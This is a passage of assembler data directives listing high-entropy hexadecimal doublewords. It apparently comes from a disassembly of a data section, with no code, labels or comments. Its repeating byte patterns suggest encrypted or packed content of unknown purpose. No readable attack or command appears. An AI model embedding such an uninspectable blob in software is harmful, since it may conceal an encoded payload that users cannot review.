		dd 0A7119C20h, 0EB45E890h, 0D9BE3741h, 46D4D4CDh, 0E3C2870h
		dd 86ED7858h, 2C6093E9h, 0DDCE48B5h, 0B341D853h, 11A80C1Ah
		dd 99514AC3h, 815D1F3Dh, 24B621CCh, 0B514266Dh,	3FB6EC37h
		dd 41ECE8E8h, 9A4D44D6h, 182FCBEEh, 2EF3828Ah, 1AE7B78Eh
		dd 16E29CB2h, 0BD4FD85Bh, 316761C4h, 13F3B160h,	0B244D35Eh
		dd 68296918h, 0D2350EFh, 0F7812373h, 0EF67FABAh, 0A0881A50h
		dd 2D334B46h, 277D5848h, 5123C995h, 779A42DCh, 0CC504105h
		dd 12867270h, 9CF37EF8h, 38D4B27Fh, 1B80B324h, 0D5660000h
		dd 8AAE0AABh, 3DD37DF0h, 0E06B243h, 0A2B7E18Ch,	64C55BDAh
		dd 1A9BE174h, 48E567BEh, 0BC314BECh, 0F578FA10h, 1B9B1690h
		dd 0F5287046h, 0A04AE1C7h, 0F105B1E0h, 0BF51F58Bh, 0CD6361BDh
		dd 4AEF7771h, 0C53B7B36h, 0CFD5305Ch, 313CF139h, 0E37A14A6h
		dd 52ED4E28h, 0ADE460EEh, 0EB02C32Fh, 0CB37B58Dh, 1E8D54D9h
		dd 700A9D98h, 279B4FE6h, 0C4754EA2h, 586A9D6Ch,	6C482FCCh
		dd 9721B735h, 2051D7CFh, 208A5860h, 945CF2B0h, 0A01FD160h
		dd 0B1BC9D22h, 3A1D9426h, 0D88B3A77h, 0B4A77ACAh, 9B347D24h
		dd 0F7720B75h, 0BB4DE337h, 509AAEC6h, 0A9C0683h, 27CEA842h
		dd 83FD1FC7h, 2C6C25A3h, 0E4740E9Bh, 0D4C028BEh, 0D5223346h
		dd 817CBB2Bh, 0E5E9010h, 8C228074h, 0C25022C8h,	0AA8F4A37h
		dd 0C5FA4A8Fh, 1A9Ah, 2CC1B358h, 670E6C80h, 0D4592335h
		dd 0BAA2878h, 7DF084A9h, 0CB6E4AEFh, 81903CB1h,	31C67203h
		dd 0E00AA64Fh, 2C761F96h, 70453575h, 0FFADDF28h, 0F3B3EE78h
		dd 1D305CC4h, 0ED0FAB87h, 956CF993h, 0DB2CA2F6h, 0C428CEE1h
		dd 374FDD31h, 47D2A7FBh, 704B46D0h, 0C637B51Ch,	93824ADCh
		dd 0D85CB511h, 2FB27E04h, 64F7EDF8h, 0D2CF59F3h, 28731BD2h
		dd 0BD3F5642h, 0ACE5C32Fh, 2FCBF639h, 52E32B79h, 0FD484168h
		dd 7B0D9A95h, 0A01A2306h, 0A84D092Ah, 0EA7270CCh, 0D9EB3B45h
		dd 0EF376D11h, 0FE881F1Ah, 18BC3E56h, 3CAA86F4h, 0B6E02D45h
		dd 8B1D8722h, 0D4CD67F1h, 1374DFD4h, 7333663Ch,	9D1374E0h
		dd 6D8F2B07h, 24366213h, 0D94DF5Ah, 14282F03h, 19C5A3h
		dd 0EE8EAD00h, 3B41D547h, 86F81EBAh, 0D7554DEFh, 1D5FF25Eh
		dd 0B31F1890h, 0E557DE9Eh, 2B8528ACh, 5FF97404h, 4D32C3BDh
		dd 45602051h, 9AB02870h, 0B3EE7824h, 305CC4F3h,	583440D5h
		dd 20CAEE4Ah, 383B8E56h, 0C4B6F6ABh, 445E305Ch,	626D24B6h
		dd 0CA37B590h, 1CB13933h, 0D31F4EFFh, 29F8752Fh, 95022DA9h
		dd 0B1DC6903h, 0A01F66D0h, 0B3262713h, 32FCC65h, 0AA4F17A1h
		dd 867772D2h, 9A478F68h, 1B7FBB49h, 53D1C18Dh, 688BE6E7h
		dd 1F1A93C3h, 19E567BEh, 51D3C38Bh, 0D761F78Dh,	0CA80913Dh
		dd 0FA885426h, 2E0A9864h, 1A41FC5Fh, 0B4881A94h, 57E176E1h
		dd 3108425Ah, 0A630728Ch, 0C8621C3Eh, 5B97150Ch, 2650FA56h
		dd 8954D28Bh, 4D62F280h, 18F2h,	94195BF0h, 0CF661438h
		dd 3CB1CB6Dh, 73028090h, 0A5482CC1h, 7386F237h,	0D9C86409h
		dd 0D97EDA5Bh, 88A20EA7h, 841E47EEh, 70448D0Dh,	17758728h
		dd 0EFED78h, 764AACAAh,	82FC1EBAh, 0DB4CEFA2h, 0F8D8541h
		dd 0A32BC523h, 0D882EA8Fh, 1F10F597h, 0C32FB589h, 0B0814402h
		dd 0A03A6837h, 9A6A1024h, 9864E63Eh, 2ABC740Ah,	0E8E988A2h
		dd 6F0DBDF0h, 9F671539h, 57E17705h, 0B5116B8Fh,	780ADAA2h
		dd 24B12DB0h, 0BE0F771Eh, 9968C0C2h, 286F2CA9h,	8F26A5BAh
		dd 0C06D0F2Dh, 831582ADh, 0C3B3500Eh, 950CA62Fh, 2082B415h
		dd 0C29AD506h, 5E36343Ch, 13918044h, 9579B133h,	3DD17D0Fh
		dd 0F61AB63Fh
		dd 0A62EB884h, 881AEA94h, 0F70383FEh, 970D2081h, 95DD7F5Bh
		dd 9E24F87Ch, 26D26108h, 52E23C3Eh, 180D7Dh, 3646D500h
		dd 83F91DBFh, 0CEB046F2h, 1F9DF527h, 65173A96h,	0FBD750C8h
		dd 2D8F2656h, 53FD70F4h, 8731BCBCh, 56A0B75h, 42A8E899h
		dd 52682870h, 37A0B36Ch, 4A6EECA5h, 1CB837B1h, 21A383F9h
		dd 0ED7F25C9h, 1DA8CC61h, 83129207h, 4D5B9796h,	64096B81h
		dd 6FA83C31h, 4C75B03Ch, 23BD4FDDh, 702F2E6Eh, 74BCE628h
		dd 2F733F72h, 9D2870h, 0CEAC95ABh, 6ABA4896h, 0CFCFC25Ch
		dd 41287078h, 0DBF69763h, 93287078h, 913D0183h,	6526FE7Eh
		dd 2D64923Bh, 2870796Dh, 0F36FFDA7h, 8C48AE4Fh,	0B2300C6Eh
		dd 287B4546h, 25B08C1Dh, 15382BEDh, 0F835FD10h,	5Bh, 5D5D54EEh
		dd 0B7286FDBh, 0B38705EDh, 0E69B2DBAh, 305CC4A2h, 3EA63072h
		dd 0B9965E7h, 0B612F32Fh, 0AA305CC4h, 66FF07A6h, 1B333066h
		dd 8E3DF5E9h, 84311D36h, 22B0h,	449F1200h, 0C3305CC5h
		dd 7C35C750h, 37B5A13Dh, 0EE6EA72Fh, 99198816h,	7B2873A0h
		dd 0B35F9B29h, 78C67CF1h, 0C4F3B3EEh, 0B11D305Ch, 0EE4AD89Ch
		dd 25B72033h, 1CE094B9h, 453CAA86h, 37B5A992h, 16A28220h
		dd 6BFB7A04h, 4A4A47D1h, 0CA2873A9h, 0A8E9A9D8h, 792B2873h
		dd 0B3F705B1h, 0FEEAD899h, 0A69BB4B3h, 16A28210h, 0D1AB4F03h
		dd 0F42DA943h, 6864B870h, 626EB6C4h, 6450ACCEh,	0E22ABD1h
		dd 51D4946Fh, 788EBAE1h, 20C963EAh, 922456E4h, 670C76FBh
		dd 0E2583055h, 0D9EBAB81h, 1D16A735h, 0F7632AAFh, 0DA767BB7h
		dd 28B44630h, 81017006h, 93287300h, 21A38311h, 710B95C9h
		dd 73008000h, 26129028h, 0ED7FE80Bh, 0CBCF39B4h, 8A2B792Fh
		dd 92720C2Eh, 342812F3h, 0FAA3B578h, 0A3522CCEh, 7719B43h
		dd 0D21A53Fh, 517836Fh,	0D165E17Bh, 7107859Dh, 6E0E21ADh
		dd 0F0DC10D8h, 0ADC222A0h, 59F402ABh, 1047FC52h, 0E2D622C3h
		dd 15872E48h, 0CCAC4307h, 0AA47473Ah, 0DBC9A853h, 924F945h
		dd 82950C9Eh, 30AFAC9Bh, 0BB51C372h, 0CC10688Fh, 0F0DC20B6h
		dd 0F6C323A1h, 0A13BBB62h, 6A9AB0F0h, 0FA78A8A0h, 0AEF4982Ah
		dd 0BAC45642h, 173993Bh, 5ACD683Dh, 8F0D04C0h, 0E3C52DB7h
		dd 0C380A3AEh, 27B1F3A7h, 7209F08Dh, 86FC740Eh,	81179313h
		dd 0CB277D98h, 0B6C06AC6h, 0EA68B824h, 0CA0881Ah, 81183995h
		dd 4FEEE288h, 75F72FB7h, 0FBDF1BA9h, 0FB952751h, 18703061h
		dd 2A08881h, 81180F8Fh,	57A30188h, 3349EE4Ah, 81183E7Eh
		dd 8CCD688h, 394B9B19h,	814D5BABh, 0F521096Bh, 73C81460h
		dd 36B6EF77h, 0FF796FAh, 0ECE4E47h, 7D5991EBh, 4C08A2DAh
		dd 7270CCAEh, 11AB3B86h, 81182060h, 46B2F088h, 29C3BD52h
		dd 0E7F58AADh, 0B841B2F1h, 0BBF743D1h, 0B985071Fh, 9751F81Ch
		dd 0E975F880h, 18B2CA6Dh, 81532969h, 71B9EB88h,	30CAB245h
		dd 52ABEBA6h, 3F658881h, 4FEABFF3h, 0A0534ED8h,	168FDA37h
		dd 3160FA8Ch, 80983771h, 0F52901A3h, 29DB8282h,	5DFF7606h
		dd 0A32BBDBFh, 8C16EE8Eh, 0AE4C08A4h, 7E923ACCh, 56A220FCh
		dd 9E3F411Ah, 3FB6C06Ah, 0F56E3A8Ah, 40B433h, 932A0000h
		dd 0C171AFA4h, 0A567D3BCh, 14DCA54Ah, 0CE820149h, 0DE680290h
		dd 5CB9E3A3h, 0BB772D30h, 10879267h, 423CDE86h,	0DE81F0F6h
		dd 0B437B593h, 4DE747EEh, 73945454h, 0AE6BC28h,	3BB5h
		dd 0A54ACD00h, 0FAB741DBh, 305CC4BAh, 39BC4F5Ah, 39933BC1h
		dd 6F0923ABh, 9F9A6F83h, 0C0541C3Eh, 0CA586ABAh, 103AA234h
		dd 651C8A66h, 37B573EAh, 0E3A3DEC8h, 2D287373h,	0F64CE177h
		dd 3410ED78h, 8B689E25h, 76AC3F99h, 0C632C0F3h,	809327A7h
		dd 0C9D98517h, 1E9FB4Bh, 0D1F7EAA7h, 994537B4h,	5DDF3773h
		dd 0D86D0381h, 0ED13DF0Ah, 1FC32FC3h, 2859F385h, 2873A768h
		dd 0DA3EFAA8h, 8CEE00CCh, 7C632B0h, 0FCA29087h,	902ABDB8h
		dd 900B8B06h, 9F0533C0h, 8B67193Fh, 68C1641Dh, 53513B19h
		dd 0A4333EF3h, 0D6A04A12h, 7D158C1Ah, 3733302Eh, 8642DB6Dh
		dd 0BDB88BD3h, 0DC786ECAh, 6CEF3B3Eh, 44D1AB4Fh, 8E1C7832h
		dd 0E3A7B5E7h, 11982E4Eh, 3F8A0A48h, 0A7C3F448h, 4F000013h
		dd 0F721CCACh, 38941963h, 6FC96416h, 9C38B537h,	0FA720379h
		dd 0BCB85D3Dh, 0E8E8731h, 5A223567h, 0A1D379DBh, 423F6B0Ch
		dd 28703E42h, 9FCAB8D2h, 305CC41Fh, 28C255C0h, 0B5AFEE79h
		dd 1EC75E37h, 6CEE2679h, 1C7B1290h, 3E220E8Ch, 0AD38D264h
		dd 2CAD6A68h, 9602EE5Fh, 0E16DFF81h, 0D3D12D4Fh, 193E9A67h
		dd 19339F67h, 6B7FD25Fh, 0C905340Dh, 133196h, 5A1A3100h
		dd 0A7D579DBh, 0F28CA20Eh, 43C1D143h, 89F306B2h, 0C7B374E4h
		dd 9AB4A32h, 0BF199418h, 0E34DE098h, 0E1862F49h, 3DCCCCC5h
		dd 36442870h, 64ED7850h, 612431DCh, 5473F29h, 803D8E70h
		dd 0ED7AF5A8h, 22A2F35Bh, 96A1D0D6h, 637B4E9h, 6AC6B85Eh
		dd 0C28A1C86h, 77A14C2Eh, 0F676AFE3h, 5A029C60h, 0B561C94Bh
		dd 9B43D5A7h, 0A93B0B75h, 6B28A21Ch, 32FE992Ch,	3D3FD2FEh
		dd 3147D5E1h, 73824040h, 3CD2D028h, 44E52BE0h, 0A24B4DB6h
		dd 5B60B954h, 6D065FF5h, 7FFD1185h, 30B62FF6h, 811CAE21h
		dd 0D7D38ADEh, 0D69C123h, 17EF8DA1h, 72CF536Eh,	0CD891F28h
		dd 749850D4h, 1A9721D5h, 2872CE9Ah, 489D287Ah, 0F84CD1Ah
		dd 0DA7E5A96h, 64FA8496h, 0B1CB6FC9h, 0A9D986Dh, 0EBABE670h
		dd 252872F2h, 7C35B37Fh, 2FC7791Eh, 35CD1792h, 0AD32A540h
		dd 6BF38D1Fh, 546EB6C6h, 6012389Ch, 0AFC963CDh,	978257h
		dd 3648EE76h, 5CB5ECFAh, 5627DA60h, 58A4D67Ah, 1E6BB34Ah
		dd 675653E2h, 5FAE47D1h, 6471E45Ah, 77DFC921h, 45019BE5h
		dd 6F75C9B3h, 78923E83h, 0C05326FEh, 91CCC557h,	211FF236h
		dd 6641F683h, 0FF772C48h, 11E1C8h, 0A6A8100h, 5725C96Bh
		dd 0A2DC72DEh, 0F371A113h, 3943D642h, 970324B4h, 0D97BFA82h
		dd 0FA944C8h, 0B31D90E8h, 3156DF99h, 3D7C3C75h,	66942870h
		dd 0C5189F00h, 2136305Ch, 9083D65Fh, 0BB3C7507h, 0D737B14Ch
		dd 0FD1056FBh, 8F1DA77Fh, 0D9F2DB7h, 20CDAF41h,	38DC78E2h
		dd 8E0E242h, 0B0D449BBh, 16EA584h, 0B33D0000h, 88F204A5h
		dd 51E460FAh, 61C9DB2Bh, 0AE0978A3h, 0B2305CC5h, 0EE78BE2Ch
		dd 5CC4F3B3h, 9EB11D30h, 6E048DEh, 0DFDFD26Ch, 31305CC4h
		dd 2058773h, 0A6B3835Fh, 0E6248331h, 0BD33A4B3h, 0DC78B80Ah
		dd 9E1C7438h, 42AE3408h, 30D46F41h, 3A8FB9h, 0B3DB0000h
		dd 788331A6h, 5CC5AE09h, 0B6E77E30h, 954A7FCBh,	56AEC862h
		dd 752CBE4Ch, 305C7635h, 816DC5DFh, 0DF7FFD15h,	0E1E3433Dh
		dd 0CA789D53h, 64DAA44Ah, 5351DB77h, 0F1000000h, 0F507A6B3h
		dd 51D3C38Bh, 0F361F78Dh, 0C5AE0978h, 28B2305Ch, 5CC53979h
		dd 3CC9DB30h, 0D30FC20Eh, 994FDD02h, 0F3B3EE78h, 1D305CC4h
		dd 49DF9DB1h, 18283FBCh, 5E9A7388h, 0A44A9A48h,	708440DAh
		dd 779C2E0Ah, 0A8F965FFh, 0C5357524h, 0C5DF305Ch, 0DC785F6Dh
		dd 728646C4h, 11E32008h, 6DB930D4h, 2Dh, 6934C451h, 51DEC321h
		dd 27CACAC7h, 584A335Ch, 0A4B33290h, 978BD33h, 305CC5AEh
		dd 78A81E84h, 0D4A64ACAh, 51DB7766h, 39h, 39DC78F1h, 0B8F8A943h
		dd 58305CC4h, 2433EE4Ah, 9783DB3h, 305CC5AEh, 78BE2CB2h
		dd 0B3EE78CAh, 305CC4F3h, 593547D5h, 27CBEF4Bh
		dd 0B52AC355h, 592F7A7Ch, 77CDFF3Bh, 0FE9351DBh, 38D5FFFFh
		dd 7A6DA9F8h, 45453C35h, 0CF305CC0h, 0D9EB47D5h, 0A537A0B3h
		dd 0B14A6EECh, 0D6604237h, 4F97E90Eh, 51EBFD35h, 4ACACAC7h
		dd 584A2870h, 501CC5CDh, 6F22A20h, 77FE7892h, 64245DF7h
		dd 0AC2870C1h, 0C0FFBFF2h, 93112870h, 0E77835FDh, 0DBDBD660h
		dd 0CF2870C0h, 9DFC8936h, 6FDEA4E4h, 0A7366C28h, 0E44CD1C2h
		dd 0AB5AAAF8h, 28703BE5h, 4CAA53FFh, 370F6D80h,	7E4645ADh
		dd 0F88C1D65h, 4Bh, 0C5439FCAh,	7E17305Ch, 0BBF2FFE5h
		dd 0F686A9C5h, 0E2C8860h, 2782C16Ch, 3E305C2Fh,	4A12A433h
		dd 9610D85Ah, 0C24050FCh, 0FA6C9776h, 74D037B4h, 3E4498E2h
		dd 0E1900EF2h, 2872F9A1h, 18E494BBh, 0A980A8Ah,	0D5D26Bh
		dd 0B36C0000h, 8A537A0h, 476B0F62h, 62F55122h, 0D9C8DE1Ah
		dd 37B4FDCEh, 0CC5E44h,	53FB8DEFh, 6163C3BDh, 329A0489h
		dd 2D8961E3h, 0A5DC760Ah, 2872FDE5h, 8404752Fh,	8C2872FEh
		dd 0E9BC8016h, 524FD94Eh, 2FC7840Ch, 0CC882280h, 0AD2F672Bh
		dd 7CF08D1Fh, 0D52A51ACh, 13BD00E8h, 0E2A64AFCh, 0F9D334Dh
		dd 60F76237h, 454EDBD6h, 0E2C027DBh, 7727BE48h,	0DDDABE21h
		dd 16494938h, 0D9CB189Ah, 2DCF9711h, 59A5D765h,	9C38B54Bh
		dd 5B25CA7Eh, 484FD8Bh,	0C189A16h, 0C7720096h, 24264750h
		dd 0AFCFE07Ch, 0B700000Eh, 0FF59D4A4h, 208C215Bh, 57C16C0Eh
		dd 8430BD3Fh, 0F26A0B71h, 0C4B04535h, 16968F29h, 621A3D9Fh
		dd 0A9CB61D3h, 4A476304h, 28703A4Ah, 4AD2B0CAh,	420ED6A0h
		dd 0A576CEA8h, 0E476B25Bh, 4D44009Ah, 856D77CFh, 0DC398B38h
		dd 64FE8430h, 5CCD6D2Dh, 35FDA730h, 40F8h, 0A0B3CA00h
		dd 49ECA537h, 0C937B59Dh, 0D17D0BDBh, 849C383Ch, 4CA43E06h
		dd 3DB0C268h, 6DFF7993h, 0D4284CE1h, 7BCE62CEh,	76366BF8h
		dd 9E28739Eh, 805C1E32h, 4CDE6C02h, 0CC934A55h,	5BDAC82Fh
		dd 0D4A64AEFh, 215BFF59h, 0C55B24DDh, 0D87F305Ch, 3232FBA7h
		dd 3CB5B4Fh, 76FF8DEFh,	15A73023h, 49D0A549h, 0A3334E62h
		dd 576DB147h, 4DCCCCC5h, 5E44305Ch, 519D1492h, 4337B0D5h
		dd 0E90FD761h, 5DA41E97h, 84B0D463h, 17183h, 0A5B32700h
		dd 97368235h, 40D6293Ch, 25651CB6h, 0EF305BD4h,	7DFF11B5h
		dd 0F5D723A1h, 0C5AE0978h, 2CB2305Ch, 2CA78BEh,	0A6B3835Fh
		dd 1A3FA731h, 24349662h, 38DC78E6h, 1E600B45h, 31C77553h
		dd 9A0D24F9h, 0FF657500h, 1A9C3830h, 0B80AECDEh, 43C5DC78h
		dd 5CC54E4Eh, 4EDCC630h, 0D3CF21E2h, 0C964B930h, 0BD915F8Ch
		dd 65F75745h, 71B9CB1Bh, 3E3Ch,	0A6B38600h, 0F98FF107h
		dd 66EE784Bh, 485AAAD4h, 0C4C6E1E0h, 316C305Ch,	40891884h
		dd 2ABC52DEh, 2DF173A2h, 11ED8FA1h, 9735FD93h, 0A44ACA78h
		dd 0DB7764DAh, 47C5DC78h, 41D4EBh, 0B36E0000h, 788331A6h
		dd 5CC5AE09h, 7928B230h, 305CC539h, 0A13BC9DBh,	98641025h
		dd 789C2E0Ah, 0C4F3B3EEh, 871D305Ch, 3BA33DABh,	0BCBC5317h
		dd 3ACC6260h, 5CC54747h, 1FDBC930h, 0DAA44AADh,	78DB7764h
		dd 1B0A3EDCh, 9C2F0B99h, 0B930D414h, 0E19BBD19h, 43D409h
		dd 0B3EE0000h, 0F9933A4h, 5CC51292h, 48A00230h,	0AE09787Ah
		dd 84305CC5h, 0DC78A81Eh, 0E6FC403Ah, 5A029C0Ah, 7F32C4B6h
		dd 305CC53Fh, 0A567D3D1h, 66D4A64Ah, 0ED78DB77h, 2E7856BDh
		dd 0C7F83078h, 20h, 5A4B31Fh, 2FB589F3h, 29F577AFh, 7857059Bh
		dd 5CC5AE09h, 0BE2CB230h, 0A64ACA78h, 0DB7766D4h, 0FFFE8651h
		dd 0DC78F1FFh, 3BF64238h, 2BEFA838h, 9F78B730h,	44027F09h
		dd 6837B099h, 1624A03Ah, 0F15DC964h, 89C5195Bh,	0B9CB1B99h
		dd 1D12CF2Bh, 0BC50FC8Eh, 0DA7472BEh, 29AA2C43h, 0E34F97C5h
		dd 6F78A2E2h, 2BCC8828h, 0C89CC451h, 1B2F389h, 875F4529h
		dd 6F5C981Eh, 0FD9CA028h, 1E43E4DCh, 22028Ch, 78A00000h
		dd 0C4F3B3EEh, 871D305Ch, 0E54DCFC7h, 5CC4C8E4h, 0E88AA030h
		dd 0AFF045h, 0AE360000h, 8E3CF476h, 0F3B3EE78h,	0E7305CC4h
		dd 5CC4EAAAh, 14782A30h, 6C8FA28Eh, 813061FBh, 0B137B5C4h
		dd 5AFD59F3h, 0E219322h, 50C3966Eh, 86A935C7h, 0F5AC3AF6h
		dd 2FC8496Bh, 0A12373DBh, 6DFFA549h, 872E4EE1h,	0AA7A0215h
		dd 39D344D7h, 1C9C15AFh, 0F420874Ah, 768342AEh,	6227DBD7h
		dd 0CC2456FAh, 6CE88220h, 0A501ACCEh, 9864E839h, 608A2E0Ah
		dd 50E9B16h, 162E2425h,	0B5DA1h, 86F60500h, 0D3A94DEFh
		dd 1E60F622h, 6FED2597h, 0B5C76AC6h, 2B87A038h,	5DFF7606h
		dd 832DC044h, 37610C6Ch, 0B5DA5B25h, 35F8B8E9h,	0E2182870h
		dd 0E0A04ABCh, 0CCD62E4Ch, 40EAE63Eh, 0F31DEE36h, 0E20AC4Ah
		dd 52B64B6Bh, 0A83E9454h, 688E4E54h, 5CFEDA16h,	81FD8822h
		dd 0BD56946Ch, 99058860h, 82621A3Dh, 9E0D8D04h,	9D07305Ch
		dd 20E0230Fh, 5E843103h, 44h, 1A0B364h,	61FB89EBh, 0B5AE6130h
		dd 0F3535137h, 0DA7D35C7h, 5610CA2h, 69C1B359h,	0AAFBAF4Dh
		dd 3AC8DA2Ah, 2070DCEAh, 989B56A2h, 95047D0Fh, 9D2FCCAEh
		dd 0B9E97507h, 0AE42423Fh, 0D0D2208Ah, 5FEBF642h, 4CE2A64Ah
		dd 74D0D232h, 6F0694E6h, 5CC49118h, 3ED37B30h, 7A9E3Eh
		dd 116B8C28h, 0B45A029Ch, 0EC687ACAh, 0D7ED314Bh, 3CAB461Bh
		dd 6C0E22AAh, 0C0261290h, 0B14B18D1h, 7E089A37h, 0D4F949E4h
		dd 6F3D6F8Ch, 7B011783h, 0DFF0B0E1h, 8220286Fh,	6FDF8F0Fh
		dd 0BB238128h, 0DE57E597h, 0D4635D64h, 3F8384B0h, 27000001h
		dd 0BC32A5B3h, 5D54EE78h, 305CC55Dh, 7016E34Eh,	74184036h
		dd 0A803C22Eh, 0B8305CABh, 8B06902Ah, 305CAB0Bh, 71539F05h
		dd 5F02CA78h, 31A6B383h, 0B3E62483h, 0ABD33A4h,	0D4535DB8h
		dd 4793B930h, 37000000h, 8331A6B3h, 0C5AE0978h,	1E84305Ch
		dd 482AC08Ch, 366EEEF4h, 784E7CB4h, 98D066EEh, 0BC740A88h
		dd 0ECA44A0Eh, 0D6EC304Ah, 651CB640h, 305CC525h, 4F7DB5EFh
		dd 0C357FF77h, 8210688Fh, 0FAC820A2h, 3551h, 0A6B3F100h
		dd 9788331h, 305CC5AEh,	0C253E77Eh, 7A80A85Ah, 54E6E4BEh
		dd 0DB176588h, 57EE78E9h, 4B360E5Fh, 544DDFB7h,	305C9A54h
		dd 0B80AE6BCh, 64DAA44Ah, 535DDB77h, 93B930D4h,	3Bh, 33A4B337h
		dd 12920F99h, 2305CC5h,	787A48A0h, 5CC5AE09h, 8C1E8430h
		dd 0F14D2FC0h, 26005AF3h, 0B999AB15h, 0CA785371h, 66D4A64Ah
		dd 0C557FF77h, 91596BBBh, 365133h, 0B3F10000h, 3D9933A4h
		dd 3B89611Bh, 47C5DC78h, 2984FDEBh, 3F305CC5h, 0CA783BA9h
		dd 42D4A64Ah, 0C4B9F9A8h, 8393305Ch, 0EFA73D01h, 774F7DB5h
		dd 0B8C057FFh, 30925E64h, 0FFFEB851h, 0DC78F1FFh, 0E5FF47C5h
		dd 0C55E5E53h, 0ECB6305Ch, 59CE6904h, 85A935CFh, 0BBC557F7h
		dd 4AD08E7Fh, 0C6DC37B1h, 76009A34h, 704B7B3Bh,	9A0F9528h
		dd 28704B1Ah, 82CA8FAh,	0F8128672h, 4B87077Ah, 2D892870h
		dd 4DE3710Bh, 0F3788DA0h, 9D36CF59h, 3235AA79h,	0C65424CBh
		dd 0FD1B9B6Ah, 0AFF5286Fh, 0FCE8AE57h, 4AEC286Fh, 4AE0EC30h
		dd 9DA3D428h, 0BE42FEFCh, 0D97FE71Fh, 81455FA7h, 0B1331391h
		dd 0A47A4A79h, 10F48C1Dh, 0CE000000h, 5CC5439Fh, 65172530h
		dd 0C377C8h, 0B38F0000h, 0ECA537A0h, 37B5A571h,	810313BBh
		dd 27CB27BDh, 0CD63EB7Dh, 0D76147B3h, 0A6FFB13Eh, 9B577AC3h
		dd 0CD60183Fh, 50ACCC63h, 16688E56h, 0A17CB4CEh
		dd 7E0217B6h, 73358303h, 81178D28h, 1A2859F3h, 762FC7BBh
		dd 44009A2Ch, 0B763CF4Dh, 0FB55D8A0h, 0F8922454h, 86BC0989h
		dd 51990B20h, 34DB831Dh, 0EEAF844h, 0C557C053h,	0C5497028h
		dd 529EFA8Ch, 2FD05D54h, 604227DBh, 92EC0ED6h, 31DB83E3h
		dd 2DCFEB47h, 7C53A653h, 0ED612426h, 7D1FAh, 0FA7A9100h
		dd 4735D97Bh, 92EC02AEh, 0E361B1E3h, 2953E652h,	0A7131484h
		dd 0E94BEA92h, 1FB934B8h, 43ED80F8h, 4126CFA9h,	336C2C65h
		dd 96A42870h, 0D6A04A30h, 0CEA8420Eh, 0CB7F903Ch, 0FA885424h
		dd 700A9864h, 5CC58101h, 0D9119330h, 6DD9C985h,	566CB034h
		dd 0BF507CC0h, 0C05461BDh, 8282D919h, 710329DBh, 0D9C862FCh
		dd 305CC4D9h, 281693Bh,	8430DFC2h, 553Ch, 0EE788600h, 5CC4F3B3h
		dd 0AB871D30h, 5AEC7BF6h, 89F304C0h, 0A299A0A1h, 0ABF937B5h
		dd 91814D5Bh, 79B13313h, 73A32C88h, 512BCC28h, 482CC18Dh
		dd 9637D9F4h, 0A950FC64h, 1491814Dh, 0D95DC348h, 0D925BBA4h
		dd 0C11D5FFDh, 0C6C52DC3h, 8C1A15FEh, 3B78h, 0A0B34A00h
		dd 0FC89EB01h, 4333475Ah, 0AD3FCD93h, 0B5225DF4h, 1C952F37h
		dd 2873229Ch, 1EC22E74h, 0FE1CB884h, 0CE62EA7Ch, 0DF7944ACh
		dd 2EE3433Dh, 8F029403h, 2FCC03D4h, 952DC0E2h, 68F4233Fh
		dd 546EB6C4h, 0C156C19Ch, 729C9E37h, 0BF8AD579h, 41DB7573h
		dd 38047085h, 64B7F7AAh, 4B59305Ch, 3EEB1EEFh, 0D9CB37B5h
		dd 56FB633Dh, 3E2F6F22h, 0C3E12873h, 57E5D12Dh,	0AA5B9725h
		dd 0E8DDF2C5h, 0A8E89933h, 6867FCF2h, 3023FE3Ah, 0B99C15A7h
		dd 596F55CBh, 0B26FB4Bh, 0CCA9E998h, 396B6013h,	0A2B511ABh
		dd 0A3314BECh, 4C4C4543h, 0C46013CDh, 6E048DEh,	6C91F38Bh
		dd 55E7BD67h, 9C116389h, 0FCB45A02h, 0A692205Ah, 139ED872h
		dd 0EBD6DB8Ah, 2F05BA8Ah, 37000006h, 7FD95424h,	0A00CA1DBh
		dd 0D741EC8Eh, 4B03DBFh, 72EA8BF1h, 4430C5B5h, 96160FA9h
		dd 0E29ABD1Fh, 294BE153h, 0CAC7E384h, 287030CAh, 4A52304Ah
		dd 420ED6A0h, 2EACE4ACh, 0D7421598h, 6DFBB640h,	0D937B14Ah
		dd 4B52524Fh, 49382870h, 28704B49h, 0EFB5D9CBh,	0F9455F03h
		dd 0A8413BDDh, 34089259h, 0C7F4EB7Bh, 0AF000005h, 0D741EC8Ch
		dd 18B43943h, 4FE984F6h, 0FC58D557h, 1A922359h,	0DC98BD1Dh
		dd 2EAEE751h, 7A021587h, 0C1B359FBh, 225F4B2Ch,	28703162h
		dd 0B32A98B2h, 931101A0h, 9A331B3h, 3943D77Fh, 7213DFE5h
		dd 37B14AE8h, 1963F65Eh, 3E732DD1h, 28704B7Eh, 0A67E0C96h
		dd 0FF7A042Ah, 3408921Ah, 6335AABAh, 3000005h, 4BE588E8h
		dd 0FC58D5A7h, 238D205Ah, 50FC71F3h, 0A636BFBDh, 78FC1181h
		dd 0CA4A5BF5h, 1666892Bh, 5D1F3D9Fh, 0BEF3AFD0h, 28702FFEh
		dd 0B386E416h, 0BA537A0h, 5CC51696h, 4CA4FE30h,	4B21275Ah
		dd 356F37B1h, 554D09A3h, 4750FD7h, 28704C84h, 0CACAB044h
		dd 0F0DC10D8h, 6A951C5Eh, 6A340891h, 4FCE5DAh, 51FA0000h
		dd 0E228E27h, 0C157C16Ch, 8A9A36BFh, 26CB6508h,	0E841DF56h
		dd 9E176588h, 0CC61E332h, 0ADCF60h, 79F48694h, 97178A14h
		dd 7928702Fh, 0EE781D43h, 0F7AAD466h, 305CC4B7h, 0CBEF4B59h
		dd 19C55721h, 0CCC581F3h, 2EEF448h, 2E48E2EEh, 0A851FBD6h
		dd 0BDFDB44Eh, 57305CC4h, 1B31E54Dh, 0D278D459h, 0AA55CA0h
		dd 0E0305CC5h, 0E4D02C4Eh, 3D82456h, 0A9E5CFDh,	59F6706h
		dd 5CC50C8Ch, 529E0430h, 14AED466h, 5CC51D9Dh, 0FCADF730h
		dd 305CC4BCh, 0A5D77854h, 72EC8117h, 0EA3A44EAh, 96A410D8h
		dd 9EBC18E4h, 9D551DCh,	855890E4h, 366BFD6Ah, 37B5AC57h
		dd 800819C5h, 73AC9111h, 93218328h, 15F931B3h, 9C29B78Fh
		dd 6BD0BD47h, 32722FBCh, 0E228738Fh, 0E99832C0h, 28738EA9h
		dd 10F1396Bh, 28738EB4h, 0F105A4A8h, 31366464h,	3F160403h
		dd 0D6BA5372h, 0D7F43C8Fh, 8C1A3EEDh, 5209h, 0A0B35900h
